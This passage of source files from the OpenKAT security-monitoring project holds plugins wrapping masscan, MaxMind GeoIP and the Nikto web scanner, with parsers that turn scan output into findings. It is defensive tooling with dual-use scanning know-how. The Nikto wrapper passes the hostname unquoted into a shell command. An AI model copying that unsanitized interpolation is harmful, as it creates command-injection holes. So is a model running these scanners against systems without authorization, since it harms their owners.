    "path": "boefjes/boefjes/plugins/kat_masscan/boefje.json",
    "content": "{\n  \"id\": \"masscan\",\n  \"name\": \"masscan\",\n  \"description\": \"Quickly scan large amounts of IPs. Due to the quick scanning it may not always show accurate results.\",\n  \"consumes\": [\n    \"IPV4NetBlock\"\n  ],\n  \"scan_level\": 2,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-masscan:latest\",\n  \"oci_arguments\": []\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_masscan/description.md",
    "content": "# Masscan\n\nSee <https://github.com/robertdavidgraham/masscan>. This boefje scans (big) ranges and adds found IPs and Ports to Octopoes. When trying another `MAX_RATE` please make sure you understand <https://github.com/robertdavidgraham/masscan#transmit-rate-important> first.\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_masscan/main.py",
    "content": "import logging\nimport os\nimport subprocess\nfrom pathlib import Path\n\n\ndef run_masscan(target_ip: str):\n    # Scan according to arguments.\n    port_range = os.getenv(\"PORTS\", \"53,80,443\")\n    max_rate = os.getenv(\"MAX_RATE\", \"100\")\n    logging.info(\"Running masscan...\")\n    cmd = [\n        \"/app/boefje/masscan/bin/masscan\",\n        \"-p\",\n        port_range,\n        \"--max-rate\",\n        max_rate,\n        \"-oJ\",\n        \"/tmp/out.json\",\n        target_ip,\n    ]\n    output = subprocess.run(cmd, capture_output=True)\n    output.check_returncode()\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    \"\"\"Creates webpage and takes capture using Playwright container.\"\"\"\n    input_ = boefje_meta[\"arguments\"][\"input\"]\n    ip_range = f\"{input_['start_ip']['address']}/{str(input_['mask'])}\"\n    run_masscan(target_ip=ip_range)\n    m_run = Path(\"/tmp/out.json\").read_bytes()\n    logging.info(\"Received a response with length %d\", len(m_run))\n\n    return [({\"openkat/masscan-output\"}, m_run)]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_masscan/normalize.py",
    "content": "import ipaddress\nimport json\nimport logging\nfrom collections.abc import Iterable, Iterator\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, IPPort, Network, PortState, Protocol\n\n\ndef get_ip_ports_and_service(ip_with_ports: dict, network: Network, netblock: Reference) -> Iterator[OOI]:\n    \"\"\"Yields IPs and open ports for any ports open on this host.\"\"\"\n    if \"ip\" not in ip_with_ports:\n        raise ValueError(\"[Masscan] No IP given in output.\")\n    if \"ports\" not in ip_with_ports:\n        raise ValueError(\"[Masscan] No ports argument in IP with ports list.\")\n    host_ip = ip_with_ports[\"ip\"]\n    ip_version = ipaddress.ip_interface(host_ip).ip.version\n    ip = (\n        IPAddressV4(network=network.reference, address=host_ip, netblock=netblock)\n        if ip_version == 4\n        else IPAddressV6(network=network.reference, address=host_ip, netblock=netblock)\n    )\n    yield ip\n\n    for port_dict in ip_with_ports[\"ports\"]:\n        ip_port = IPPort(\n            address=ip.reference,\n            protocol=Protocol(port_dict[\"proto\"]),\n            port=port_dict[\"port\"],\n            state=PortState(port_dict[\"status\"]),\n        )\n        yield ip_port\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    \"\"\"Parse Masscan JSON and yield relevant network, IPs and ports.\"\"\"\n    try:\n        results = json.loads(raw) if raw else []\n    except json.decoder.JSONDecodeError:\n        # Masscan tends to forget to close the json with \"]\" if the wait window passed.\n        results = json.loads(raw.decode() + \"]\") if raw else []\n\n    # Relevant network object is received from the normalizer_meta.\n    network = Network(name=input_ooi[\"network\"][\"name\"])\n\n    netblock_ref = Reference.from_str(input_ooi[\"primary_key\"])\n\n    logging.info(\"Parsing %d Masscan IPs for %s.\", len(raw), network)\n    for ip_with_ports in results:\n        yield from get_ip_ports_and_service(ip_with_ports=ip_with_ports, network=network, netblock=netblock_ref)\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_masscan/normalizer.json",
    "content": "{\n  \"id\": \"kat_masscan_normalize\",\n  \"name\": \"masscan\",\n  \"description\": \"Parse output from masscan into open ports for each scanned IP.\",\n  \"consumes\": [\n    \"boefje/masscan\",\n    \"openkat/masscan-output\"\n  ],\n  \"produces\": [\n    \"IPAddressV4\",\n    \"IPAddressV6\",\n    \"IPPort\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_masscan/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"PORTS\": {\n      \"title\": \"PORTS\",\n      \"type\": \"string\",\n      \"pattern\": \"^((6553[0-5]|655[0-2]\\\\d|65[0-4]\\\\d{2}|6[0-4]\\\\d{3}|[1-5]\\\\d{4}|\\\\d{1,4})|(6553[0-5]|655[0-2]\\\\d|65[0-4]\\\\d{2}|6[0-4]\\\\d{3}|[1-5]\\\\d{4}|\\\\d{1,4})-(6553[0-5]|655[0-2]\\\\d|65[0-4]\\\\d{2}|6[0-4]\\\\d{3}|[1-5]\\\\d{4}|\\\\d{1,4}))$|^((6553[0-5]|655[0-2]\\\\d|65[0-4]\\\\d{2}|6[0-4]\\\\d{3}|[1-5]\\\\d{4}|\\\\d{1,4})|(6553[0-5]|655[0-2]\\\\d|65[0-4]\\\\d{2}|6[0-4]\\\\d{3}|[1-5]\\\\d{4}|\\\\d{1,4})-(6553[0-5]|655[0-2]\\\\d|65[0-4]\\\\d{2}|6[0-4]\\\\d{3}|[1-5]\\\\d{4}|\\\\d{1,4}))(,((6553[0-5]|655[0-2]\\\\d|65[0-4]\\\\d{2}|6[0-4]\\\\d{3}|[1-5]\\\\d{4}|\\\\d{1,4})|(6553[0-5]|655[0-2]\\\\d|65[0-4]\\\\d{2}|6[0-4]\\\\d{3}|[1-5]\\\\d{4}|\\\\d{1,4})-(6553[0-5]|655[0-2]\\\\d|65[0-4]\\\\d{2}|6[0-4]\\\\d{3}|[1-5]\\\\d{4}|\\\\d{1,4})))+$\",\n      \"description\": \"Masscan ports argument, can use commas and hyphens, e.g. '80-82,433' or '53,80,433' (default).\"\n    },\n    \"MAX_RATE\": {\n      \"title\": \"MAX_RATE\",\n      \"type\": \"integer\",\n      \"minimum\": 1,\n      \"maximum\": 1000000,\n      \"description\": \"Masscan scan rate, defaults to 100. A high rate will result in faster scans, but can DoS your own network connection or that of your target. Please check https://github.com/robertdavidgraham/masscan#transmit-rate-important before modification.\"\n    }\n  },\n  \"required\": []\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_maxmind_geoip/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_maxmind_geoip/boefje.json",
    "content": "{\n  \"id\": \"maxmind\",\n  \"name\": \"Maxmind\",\n  \"description\": \"Fetch geolocation information for an IP address from Maxmind. Requires a MaxMind API key.\",\n  \"consumes\": [\n    \"IPAddressV4\",\n    \"IPAddressV6\"\n  ],\n  \"scan_level\": 1,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\"\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_maxmind_geoip/main.py",
    "content": "import hashlib\nimport io\nimport json\nimport os\nimport re\nimport shutil\nimport tarfile\nfrom datetime import datetime, timezone\nfrom ipaddress import ip_address\nfrom os import getenv\nfrom pathlib import Path\n\nimport maxminddb\nimport requests\n\nBASE_PATH = Path(getenv(\"OPENKAT_CACHE_PATH\", Path(__file__).parent))\n\nif BASE_PATH.name != Path(__file__).parent.name:\n    BASE_PATH = BASE_PATH / Path(__file__).parent.name\n    BASE_PATH.mkdir(exist_ok=True)\n\nGEOIP_PATH_PATTERN = r\"GeoLite2-City_\\d+/GeoLite2-City.mmdb\"\nGEOIP_META_PATH = BASE_PATH / \"geoip-meta.json\"\nGEOIP_SOURCE_URL = \"https://download.maxmind.com/geoip/databases/GeoLite2-City/download?suffix=tar.gz\"\nGEOIP_CACHE_TIMEOUT = 86400  # in seconds\nHASHFUNC = \"sha256\"\nREQUEST_TIMEOUT = 30\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    input_ = boefje_meta[\"arguments\"][\"input\"]\n    ip = input_[\"address\"]\n    hash_algorithm = getenv(\"HASHFUNC\", HASHFUNC)\n\n    # if the address is private, we do not need a Location\n    if not ip_address(ip).is_global:\n        return [(set(), json.dumps(\"IP address is private, no location possible\"))]\n\n    if not geoip_file_exists() or cache_out_of_date():\n        geoip_meta = refresh_geoip(hash_algorithm)\n    else:\n        with GEOIP_META_PATH.open() as json_meta_file:\n            geoip_meta = json.load(json_meta_file)\n\n    geoip_path = find_geoip_path()\n\n    with maxminddb.open_database(geoip_path) as reader:\n        results = reader.get(ip)\n\n    return [({\"maxmind-geoip/geo_data\"}, json.dumps(results)), ({\"maxmind-geoip/cache-meta\"}, json.dumps(geoip_meta))]\n\n\ndef create_hash(data: bytes, algo: str) -> str:\n    hashfunc = getattr(hashlib, algo)\n    return hashfunc(data).hexdigest()\n\n\ndef cache_out_of_date() -> bool:\n    \"\"\"Returns True if the file is older than the allowed cache_timout\"\"\"\n    now = datetime.now(timezone.utc)\n    max_age = int(getenv(\"GEOIP_CACHE_TIMEOUT\", GEOIP_CACHE_TIMEOUT))\n    with GEOIP_META_PATH.open() as meta_file:\n        meta = json.load(meta_file)\n    cached_file_timestamp = datetime.fromisoformat(meta[\"timestamp\"])\n    return (now - cached_file_timestamp).total_seconds() > max_age\n\n\ndef refresh_geoip(algo: str) -> dict:\n    maxmind_user_id = str(getenv(\"MAXMIND_USER_ID\", \"\"))\n    maxmind_licence_key = getenv(\"MAXMIND_LICENCE_KEY\", \"\")\n    source_url = getenv(\"GEOIP_SOURCE_URL\", GEOIP_SOURCE_URL)\n    request_timeout = getenv(\"REQUEST_TIMEOUT\", REQUEST_TIMEOUT)\n    response = requests.get(\n        source_url, allow_redirects=True, timeout=float(request_timeout), auth=(maxmind_user_id, maxmind_licence_key)\n    )\n    response.raise_for_status()\n\n    remove_old_geolite_data()\n\n    file_like_object = io.BytesIO(response.content)\n\n    with tarfile.open(\"r:gz\", fileobj=file_like_object) as tf:\n        geoip_file = None\n        for member in tf.getmembers():\n            if re.match(GEOIP_PATH_PATTERN, member.name):\n                geoip_file = member\n                break\n        if geoip_file:\n            tf.extract(geoip_file, BASE_PATH)\n        else:\n            raise FileNotFoundError(\"GeoLite2-City.mmdb not found in the tar archive\")\n\n    metadata = {\n        \"timestamp\": datetime.now(timezone.utc).isoformat(),\n        \"source\": source_url,\n        \"hash\": create_hash(response.content, algo),\n        \"hash_algorithm\": algo,\n    }\n    with open(GEOIP_META_PATH, \"w\") as meta_file:\n        json.dump(metadata, meta_file)\n    return metadata\n\n\ndef find_geoip_path() -> str:\n    \"\"\"Find the GeoLite2-City.mmdb file in the BASE_PATH\"\"\"\n    for path in BASE_PATH.glob(\"GeoLite2-City_*/GeoLite2-City.mmdb\"):\n        return str(path)\n    raise FileNotFoundError(\"GeoLite2-City.mmdb file not found in BASE_PATH\")\n\n\ndef geoip_file_exists() -> bool:\n    \"\"\"Check if the GeoLite2-City.mmdb file exists in the BASE_PATH\"\"\"\n    try:\n        find_geoip_path()\n        return True\n    except FileNotFoundError:\n        return False\n\n\ndef remove_old_geolite_data():\n    \"\"\"Removes old GeoLite2 directory\"\"\"\n    for root, dirs, files in os.walk(BASE_PATH, topdown=False):\n        for directory in dirs:\n            dir_path = os.path.join(root, directory)\n            shutil.rmtree(dir_path)\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_maxmind_geoip/normalize.py",
    "content": "import json\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.geography import GeographicPoint\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    \"\"\"Yields GeographicPoints.\"\"\"\n    results = json.loads(raw)\n    if not results:\n        return\n\n    yield GeographicPoint(\n        ooi=Reference.from_str(input_ooi[\"primary_key\"]),\n        longitude=results.get(\"location\", {}).get(\"longitude\"),\n        latitude=results.get(\"location\", {}).get(\"latitude\"),\n    )\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_maxmind_geoip/normalizer.json",
    "content": "{\n  \"id\": \"kat_maxmind_geoip_normalize\",\n  \"name\": \"MaxMind GeoIP\",\n  \"description\": \"Parses MaxMind GeoIP data into geographical points.\",\n  \"consumes\": [\n    \"maxmind-geoip/geo_data\"\n  ],\n  \"produces\": [\n    \"GeographicPoint\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_maxmind_geoip/requirements.txt",
    "content": "requests == 2.33.0\nmaxminddb == 2.6.2\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_maxmind_geoip/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"MAXMIND_USER_ID\": {\n      \"title\": \"User ID\",\n      \"type\": \"integer\",\n      \"maxLength\": 48,\n      \"description\": \"Numeric user id for MaxMind\"\n    },\n    \"MAXMIND_LICENCE_KEY\": {\n      \"title\": \"Licence Key\",\n      \"maxLength\": 48,\n      \"type\": \"string\",\n      \"description\": \"Licence key for MaxMind\"\n    },\n    \"GEOIP_CACHE_TIMEOUT\": {\n      \"title\": \"Cache Timeout\",\n      \"type\": \"integer\",\n      \"description\": \"Cache timeout in seconds\"\n    },\n    \"GEOIP_SOURCE_URL\": {\n      \"title\": \"Source URL\",\n      \"type\": \"string\",\n      \"description\": \"URL to download the GeoIP database from\"\n    },\n    \"REQUEST_TIMEOUT\": {\n      \"title\": \"Request Timeout\",\n      \"type\": \"integer\",\n      \"description\": \"Request timeout in seconds\"\n    }\n  },\n  \"required\": [\n    \"MAXMIND_USER_ID\",\n    \"MAXMIND_LICENCE_KEY\"\n  ],\n  \"secret\": [\n    \"MAXMIND_LICENCE_KEY\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nikto/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nikto/boefje.Dockerfile",
    "content": "FROM perl:5.40\n\nWORKDIR /app\nRUN apt-get update && apt-get install -y --no-install-recommends git nodejs\n\nRUN git clone --depth 1 --branch 2.6.0 https://github.com/sullo/nikto\nRUN cpanm --notest JSON XML::Writer\n\nARG BOEFJE_PATH=./boefjes/plugins/kat_nikto\nCOPY $BOEFJE_PATH ./\n\nENTRYPOINT [ \"node\", \"./\" ]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nikto/boefje.Dockerfile.dockerignore",
    "content": "**/__pycache__\n**/boefje.Dockerfile*\n**/description.md\n**/cover.jpg\n**/normalize.py\n**/normalizer.json\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nikto/boefje.json",
    "content": "{\n  \"id\": \"nikto\",\n  \"name\": \"Nikto\",\n  \"description\": \"Uses Nikto\",\n  \"consumes\": [\"Website\"],\n  \"environment_keys\": [\"HTTP_PROXY\", \"USERAGENT\", \"TUNING\", \"MAX_TIME\"],\n  \"scan_level\": 3,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-nikto:latest\",\n  \"oci_arguments\": []\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nikto/description.md",
    "content": "# Nikto\n\nNikto 2.5 is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 7,000 potentially dangerous files/programs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated.\n(taken from [CIRT.net](https://cirt.net/Nikto2))\n\nThis boefje has been developed by Soufyan Abdellati from Cynalytics, with help from Edward Hasekamp from IP-Zorg. ♥\n\n### Input OOIs\n\nNikto expects an HostnameHTTPURL OOI.\n\n### Output OOIs\n\nThis boefje outputs found outdated software and findings about the HostnameHTTPURL.\n\n**Cat name**: Kitty\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nikto/main.js",
    "content": "import fs from \"node:fs\";\nimport { execSync } from \"node:child_process\";\n\n/**\n * @param {\"http\" | \"https\"} scheme\n * @returns {string}\n */\nfunction get_config_content(scheme) {\n  const IS_USING_PROXY = !!process.env.HTTP_PROXY;\n  const TUNING = process.env.TUNING || \"3b\";\n  const MAX_TIME = process.env.MAX_TIME || \"600\";\n\n  // Setup config file\n  try {\n    // Nikto 2.6 appends \".json\" to the -o path, so pass base name + explicit -Format json.\n    let config_contents = `PROMPTS=no\\nUPDATES=no\\nCLIOPTS=-404code=301,302,307,308 -Tuning ${TUNING} -maxtime ${MAX_TIME} -o ./output -Format json`;\n\n    if (scheme == \"https\") config_contents += \" -ssl\";\n    if (IS_USING_PROXY) config_contents += \" -useproxy\";\n    config_contents += \"\\n\";\n\n    if (IS_USING_PROXY) {\n      const PROXY = new URL(process.env.HTTP_PROXY);\n      const PROXY_HOST = PROXY.hostname;\n      const PROXY_PORT = PROXY.port || \"8080\";\n      const PROXY_USER = PROXY.username || \"\";\n      const PROXY_PASS = PROXY.password || \"\";\n\n      config_contents += `PROXYHOST=${PROXY_HOST}\\n`;\n      config_contents += `PROXYPORT=${PROXY_PORT}\\n`;\n      config_contents += `PROXYUSER=${PROXY_USER}\\n`;\n      config_contents += `PROXYPASS=${PROXY_PASS}\\n`;\n    }\n\n    if (process.env.USERAGENT)\n      config_contents += `USERAGENT=${process.env.USERAGENT}\\n`;\n\n    return config_contents;\n  } catch (e) {\n    throw new Error(\"Something went wrong writing to the config file.\\n\" + e);\n  }\n}\n\n/**\n * @param {Object} boefje_meta\n * @param {Object} boefje_meta.arguments\n * @param {Object} boefje_meta.arguments.input\n * @param {string} boefje_meta.arguments.input.object_type\n * @param {Object} boefje_meta.arguments.input.ip_service\n * @param {Object} boefje_meta.arguments.input.ip_service.ip_port\n * @param {Object} boefje_meta.arguments.input.ip_service.ip_port.address\n * @param {string} boefje_meta.arguments.input.ip_service.ip_port.address.address\n * @param {string} boefje_meta.arguments.input.ip_service.ip_port.port\n * @param {Object} boefje_meta.arguments.input.ip_service.service\n * @param {\"http\" | \"https\"} boefje_meta.arguments.input.ip_service.service.name\n * @param {Object} boefje_meta.arguments.input.hostname\n * @param {string} boefje_meta.arguments.input.hostname.name\n * @returns {(string | string[])[][]}\n */\nexport default function (boefje_meta) {\n  // Depending on what OOI triggered this task, the hostname / address will be in a different location\n  const hostname = boefje_meta.arguments.input.hostname.name;\n\n  const config_contents = get_config_content(\n    boefje_meta.arguments.input.ip_service.service.name,\n  );\n  fs.writeFileSync(\"./nikto.conf\", config_contents);\n\n  // Running nikto and outputting to a file\n  try {\n    execSync(`./nikto/program/nikto.pl -h ${hostname} -config ./nikto.conf`, {\n      stdio: \"inherit\",\n    });\n  } catch (e) {\n    throw new Error(\n      \"Something went wrong running the nikto command.\\n\" +\n        e +\n        \"\\n\" +\n        config_contents,\n    );\n  }\n\n  const raws = [];\n\n  // Reading the file created by nikto\n  try {\n    var file_contents = fs.readFileSync(\"./output.json\").toString();\n    raws.push([[\"boefje/nikto-output\", \"openkat/nikto-output\"], file_contents]);\n  } catch (e) {\n    throw new Error(\n      \"Something went wrong reading the file from the nikto command.\\n\" + e,\n    );\n  }\n\n  // Looking if outdated software has been found\n  try {\n    const data = JSON.parse(file_contents);\n    for (const scan of data) {\n      for (const vulnerability of scan[\"vulnerabilities\"] || []) {\n        if (String(vulnerability[\"id\"]).startsWith(\"6\")) {\n          raws.push([[\"openkat/finding\"], \"KAT-OUTDATED-SOFTWARE\"]);\n        }\n      }\n    }\n  } catch (e) {\n    console.error(e);\n  }\n\n  return raws;\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nikto/normalize.py",
    "content": "import json\nimport re\nfrom collections.abc import Iterable\nfrom typing import Any\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.software import Software, SoftwareInstance\n\nMISSING_HEADER_TO_KAT_FINDING_TYPE = {\n    \"strict-transport-security\": \"KAT-HSTS-VULNERABILITIES\",\n    \"x-content-type-options\": \"KAT-NO-X-CONTENT-TYPE-OPTIONS\",\n    \"content-security-policy\": \"KAT-CSP-VULNERABILITIES\",\n    \"referrer-policy\": \"KAT-NO-REFERRER-POLICY\",\n    \"permissions-policy\": \"KAT-NO-PERMISSIONS-POLICY\",\n}\n\n# Nikto vulnerability IDs dispatched to the \"missing security header\" branch.\n# Covers both legacy (013587) and Nikto 2.6+ plugin IDs.\nMISSING_HEADER_IDS = {\"013587\", \"999100\", \"999103\", \"999984\"}\n\n# HSTS-specific finding, kept separate so its msg doesn't run through the header regex.\nHSTS_IDS = {\"999970\"}\n\n# HTTP TRACE method enabled / XST exposure.\nTRACE_METHOD_IDS = {\"000434\"}\n\n# Nikto 2.6 \"Allowed HTTP Methods\" notice — only a finding when TRACE is among them.\nALLOWED_METHODS_ID = \"999990\"\n\n# Wildcard TLS certificate in use.\nWILDCARD_CERT_IDS = {\"999992\"}\n\n# Known default file exposed (e.g. /icons/README on Apache).\nDEFAULT_FILE_IDS = {\"003584\"}\n\n# Server banner / disclosure headers (x-powered-by, Server:, etc.) — useful for SoftwareInstance.\nBANNER_DISCLOSURE_IDS = {\"999986\"}\n\n# Matches the outdated-software wording Nikto uses, e.g. in the message\n# Apache/2.4.49 appears to be outdated (current is at least 2.4.66).\nOUTDATED_SOFTWARE_RE = re.compile(r\"^([\\w.\\-]+)/([\\w.\\-]+)\\s+appears to be outdated\")\n\n# Matches software/version disclosed in a response header, e.g. in the message\n# Retrieved x-powered-by header: Apache/2.4.49.\nBANNER_SOFTWARE_RE = re.compile(r\"header:\\s+([\\w.\\-]+)/([\\w.\\-]+)\")\n\n# Missing-header message extractor, tolerant to Nikto 2.5 and 2.6+ wording.\nMISSING_HEADER_NEW_RE = re.compile(r\"missing:\\s+([A-Za-z-]+)\", re.IGNORECASE)\nMISSING_HEADER_OLD_RE = re.compile(r\"\\bThe\\s+([A-Za-z-]+)\\s+header\", re.IGNORECASE)\n\n\ndef _extract_missing_header(msg: str) -> str | None:\n    match = MISSING_HEADER_NEW_RE.search(msg) or MISSING_HEADER_OLD_RE.search(msg)\n    return match.group(1).lower() if match else None\n\n\ndef _outdated_software(msg: str, ooi_ref: Reference) -> Iterable[NormalizerOutput]:\n    match = OUTDATED_SOFTWARE_RE.match(msg)\n    if not match:\n        yield from _generic_finding(msg, ooi_ref)\n        return\n\n    software = Software(name=match.group(1), version=match.group(2))\n    software_instance = SoftwareInstance(ooi=ooi_ref, software=software.reference)\n    finding_type = KATFindingType(id=\"KAT-OUTDATED-SOFTWARE\")\n    yield software\n    yield software_instance\n    yield finding_type\n    yield Finding(finding_type=finding_type.reference, ooi=software_instance.reference, description=msg)\n\n\ndef _missing_header(msg: str, ooi_ref: Reference) -> Iterable[NormalizerOutput]:\n    header = _extract_missing_header(msg)\n    finding_type_id = MISSING_HEADER_TO_KAT_FINDING_TYPE.get(header) if header else None\n    yield from _simple_finding(finding_type_id or \"KAT-MISSING-HEADER\", msg, ooi_ref)\n\n\ndef _banner_disclosed(msg: str, ooi_ref: Reference) -> Iterable[NormalizerOutput]:\n    match = BANNER_SOFTWARE_RE.search(msg)\n    if match:\n        software = Software(name=match.group(1), version=match.group(2))\n        software_instance = SoftwareInstance(ooi=ooi_ref, software=software.reference)\n        yield software\n        yield software_instance\n    yield from _generic_finding(msg, ooi_ref)\n\n\ndef _simple_finding(finding_type_id: str, msg: str, ooi_ref: Reference) -> Iterable[NormalizerOutput]:\n    finding_type = KATFindingType(id=finding_type_id)\n    yield finding_type\n    yield Finding(finding_type=finding_type.reference, ooi=ooi_ref, description=msg)\n\n\ndef _generic_finding(msg: str, ooi_ref: Reference) -> Iterable[NormalizerOutput]:\n    yield from _simple_finding(\"KAT-NIKTO-FINDING\", msg, ooi_ref)\n\n\ndef scan_nikto_output(data: list[dict[str, Any]], ooi_ref: Reference) -> Iterable[NormalizerOutput]:\n    for scan in data:\n        for vulnerability in scan.get(\"vulnerabilities\", []):\n            vulnerability_id = str(vulnerability.get(\"id\", \"\"))\n            msg = str(vulnerability.get(\"msg\", \"\"))\n\n            if vulnerability_id.startswith(\"6\"):\n                yield from _outdated_software(msg, ooi_ref)\n            elif vulnerability_id in MISSING_HEADER_IDS:\n                yield from _missing_header(msg, ooi_ref)\n            elif vulnerability_id in HSTS_IDS:\n                yield from _simple_finding(\"KAT-HSTS-VULNERABILITIES\", msg, ooi_ref)\n            elif (\n                vulnerability_id in TRACE_METHOD_IDS\n                or vulnerability_id == ALLOWED_METHODS_ID\n                and \"TRACE\" in msg.upper()\n            ):\n                yield from _simple_finding(\"KAT-HTTP-TRACE-METHOD\", msg, ooi_ref)\n            elif vulnerability_id in WILDCARD_CERT_IDS:\n                yield from _simple_finding(\"KAT-WILDCARD-CERTIFICATE\", msg, ooi_ref)\n            elif vulnerability_id in DEFAULT_FILE_IDS:\n                yield from _simple_finding(\"KAT-EXPOSED-DEFAULT-FILE\", msg, ooi_ref)\n            elif vulnerability_id in BANNER_DISCLOSURE_IDS:\n                yield from _banner_disclosed(msg, ooi_ref)\n            else:\n                # Never silently drop a Nikto finding — emit a generic finding so the\n                # signal reaches reports and the UI even for IDs we haven't mapped yet.\n                yield from _generic_finding(msg, ooi_ref)\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    data = json.loads(raw)\n    ooi_ref = Reference.from_str(input_ooi[\"primary_key\"])\n    yield from scan_nikto_output(data, ooi_ref)\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nikto/normalizer.json",
    "content": "{\n  \"id\": \"kat_nikto_normalize\",\n  \"name\": \"Nikto\",\n  \"consumes\": [\"boefje/nikto-output\", \"openkat/nikto-output\"],\n  \"produces\": [\"Software\", \"SoftwareInstance\", \"Finding\", \"KATFindingType\"]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nikto/oci_adapter.js",
    "content": "import run from \"./main.js\";\n\n/**\n * @param {string} inp The string input to base64\n * @returns {string}\n */\nfunction b64encode(inp) {\n  return Buffer.from(inp).toString(\"base64\");\n}\n\nasync function main() {\n  const input_url = process.argv[process.argv.length - 1];\n\n  // Getting the boefje input\n  let boefje_input;\n  try {\n    const input_response = await fetch(input_url);\n    boefje_input = await input_response.json();\n  } catch (error) {\n    console.error(`Getting boefje input went wrong with URL: ${input_url}`);\n    throw new Error(error);\n  }\n\n  Object.assign(process.env, boefje_input[\"task\"][\"data\"][\"environment\"]);\n\n  let out = undefined;\n  let output_url = boefje_input.output_url;\n  try {\n    // Getting the raw files\n    const raws = run(boefje_input.task.data);\n    out = {\n      status: \"COMPLETED\",\n      files: raws.map((x, i) => ({\n        name: String(i),\n        content: b64encode(x[1]),\n        tags: x[0],\n      })),\n    };\n  } catch (error) {\n    out = {\n      status: \"FAILED\",\n      files: [\n        {\n          name: \"error\",\n          content: b64encode(\"Boefje caught an error: \" + error.message),\n          tags: [\"error/boefje\"],\n        },\n      ],\n    };\n  }\n\n  const out_json = JSON.stringify(out);\n  await fetch(output_url, {\n    method: \"POST\",\n    headers: { \"Content-Type\": \"application/json\" },\n    body: out_json,\n  });\n}\n\nmain();\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nikto/package.json",
    "content": "{\n  \"name\": \"kat-nikto\",\n  \"version\": \"1.0.0\",\n  \"type\": \"module\",\n  \"main\": \"oci_adapter.js\",\n  \"author\": \"cynalytics\",\n  \"dependencies\": {\n    \"@types/node\": \"^22.1.0\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nikto/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"HTTP_PROXY\": {\n      \"title\": \"HTTP_PROXY\",\n      \"maxLength\": 512,\n      \"type\": \"string\",\n      \"description\": \"The full URL for the proxy.\\nE.g. \\\"http://user:pass@127.0.0.1:8080/\\\"\"\n    },\n    \"USERAGENT\": {\n      \"title\": \"USERAGENT\",\n      \"maxLength\": 256,\n      \"type\": \"string\",\n      \"description\": \"Custom User-Agent header for requests.\"\n    },\n    \"TUNING\": {\n      \"title\": \"TUNING\",\n      \"maxLength\": 20,\n      \"type\": \"string\",\n      \"description\": \"Nikto tuning options to select specific test types.\\n1=Interesting files, 2=Misconfiguration, 3=Information Disclosure,\\n4=XSS/Injection, 5=File Retrieval (webroot), 6=DoS, 7=File Retrieval (server),\\n8=Command Execution, 9=SQL Injection, a=Auth Bypass, b=Software ID, c=Remote Include.\\nDefault: 3b (Information Disclosure + Software Identification)\"\n    },\n    \"MAX_TIME\": {\n      \"title\": \"MAX_TIME\",\n      \"type\": \"integer\",\n      \"minimum\": 60,\n      \"maximum\": 3600,\n      \"description\": \"Maximum scan duration in seconds. Default: 600 (10 minutes)\"\n    }\n  },\n  \"required\": []\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nmap_ip_range/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nmap_ip_range/boefje.json",
